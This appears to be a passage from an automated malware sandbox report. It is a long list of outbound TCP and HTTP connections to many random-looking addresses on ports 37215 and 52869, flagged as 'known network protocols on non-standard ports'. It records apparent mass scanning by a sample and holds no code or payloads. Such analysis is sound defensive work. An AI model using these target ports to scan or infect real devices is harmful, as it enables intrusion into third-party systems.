Source: global traffic	TCP traffic: 156.118.153.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.228.160.144 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.196.108.9 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.187.157.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.86.164.40 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.120.114.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.155.113.135 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.59.176.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.84.181.199 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.28.135.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.151.88.181 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.24.111.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.151.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.181.162.75 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.36.248.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.93.120.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.64.21.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.46.209.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.98.13.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.193.21.35 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.212.200.193 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.243.25.96 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.145.113.91 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.66.17.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.219.144.29 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.68.38.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.111.21.115 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.125.63.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.25.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.242.89.56 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.70.52.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.241.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.155.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.88.112.9 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.90.125.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.39.182.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.160.219.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.87.143.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.67.119.255 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.125.90.117 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.218.118.61 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.108.1.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.96.40.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.12.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.41.69.31 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.129.3.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.205.137.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.209.14.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.104.210.43 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.171.125.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.137.74.40 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.214.63.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.116.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.160.61.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.91.228.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.161.252.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.215.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.64.82 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.220.229.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.173.133.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.127.175.27 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.60.39.234 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.233.7.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.210.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.184.29.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.46.3.254 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.52.146.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.92.217.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.67.63.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.200.216.74 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.224.228.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.206.181.99 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.160.229.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.175.106.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.104.113.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.45.210.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.207.199.16 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.2.177.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.219.252 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.220.57.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.3.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.1.170.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.113.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.80.85.102 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.58.182.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.246.204.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.29.5.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.231.133.233 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.21.73.221 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.155.48.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.188.171.59 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.84.91.166 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.113.206.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.18.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.54.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.116.43.94 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.187.84.64 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.42.204.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.252.154.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.215.80.128 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.230.166.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.69.75.38 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.52.161.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.183.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.254.82.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.42.236.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.53.206.149 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.58.224.127 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.221.165.60 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.177.84.199 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.39.97.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.131.216.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.217.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.203.68 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.16.232.151 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.234.199.135 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.233.184.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.160.230.213 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.139.12.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.108.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.224.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.200.0 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.209.143.145 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.127.71.227 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.123.65.196 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.9.79.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.147.152.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.162.113.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.187.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.138.115.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.201.212.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.229.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.43.227 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.21.163.213 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.63.205.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.195.245.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.219.49.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.71.22.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.215.3.149 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.231.158.245 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.110.235.230 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.45.29.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.184.245.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.140.85 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.202.8.169 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.99.245.207 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.28.162.42 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.66.205.185 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.25.249.208 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.188.37.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.132.38 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.15.76.233 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.184.94.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.152.4.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.51.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.45.87.157 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.53.223.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.154.34.108 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.196.72.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.169.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.10.114.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.212.239.80 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.178.136.135 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.31.104.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.149.6.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.56.95 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.104.128.97 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.238.4.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.241.82.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.159.31.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.74.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.237.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.247.238.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.186.47.165 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.248.131.4 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.158.249.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.248.150.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.249.73.118 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.37.70.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.191.136 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.252.76.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.57.71.91 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.164.55.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.248.57.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.69.144 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.71.109.45 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.203.137.31 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.49.2.128 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.123.49.104 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.147.103.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.83.165.21 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.2.115.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.246.249.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.189.28 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.112.0.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.42.253.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.110.108.128 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.6.85.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.83.37.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.81.111.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.95.118.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.96.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.47.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.192.233.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.53.181.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.158.243.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.242.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.128.78.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.14.68.108 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.165.53.98 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.42.220.17 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.136.93.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.97.108.237 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.103.254.156 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.184.229.117 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.242.35.209 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.157.219.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.202.148.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.166.221.21 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.253.159.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.147.156.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.53.135.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.230.212.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.59.9.255 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.195.70.15 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.198.200.207 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.139.33.70 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.26.20.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.195.179.211 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.101.73.162 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.203.57.172 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.227.9.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.26.146.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.242.29.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.63.54.18 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.146.5.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.146.11.26 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.43.135.150 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.245.239.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.162.245 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.79.165.76 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.235.66.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.85.205.5 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.127.80.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.238.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.136.209.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.26.35.137 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.208.235.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.43.102.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.215.136.194 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.203.163.214 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.136.4.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.150.228.53 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.170.2.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.201.71.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.101.144.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.250.13 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.16.124.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.154.36.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.165.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.252.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.72.146.12 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.221.252.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.223.245.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.221.220.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.217.111 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.94.222.255 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.61.136.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.35.37.184 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.60.42.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.68.4.136 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.160.145.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.21.179.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.80.126.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.42.238.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.192.18.165 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.31.255.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.255.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.205.171.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.240.195.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.184.55.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.105.5.94 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.234.254.118 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.114.27.21 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.30.226.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.11.92.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.161.17.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.10.216.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.218.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.17.92.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.17.121.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.163.92.170 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.163.209.214 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 39612 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52486 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52228 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44004 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58748 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44782 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56316 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57182 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59494 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55836 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43846 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32772 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56318 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47168 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52038 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49000 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59256 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58434 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59566 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46828 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41246 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53276 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38682 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57878 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37264 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34498 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33578 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33120 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58908 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35140 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47522 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45940 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37938 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35622 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52888 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37054 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47240 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39718 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34816 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42190 -> 37215
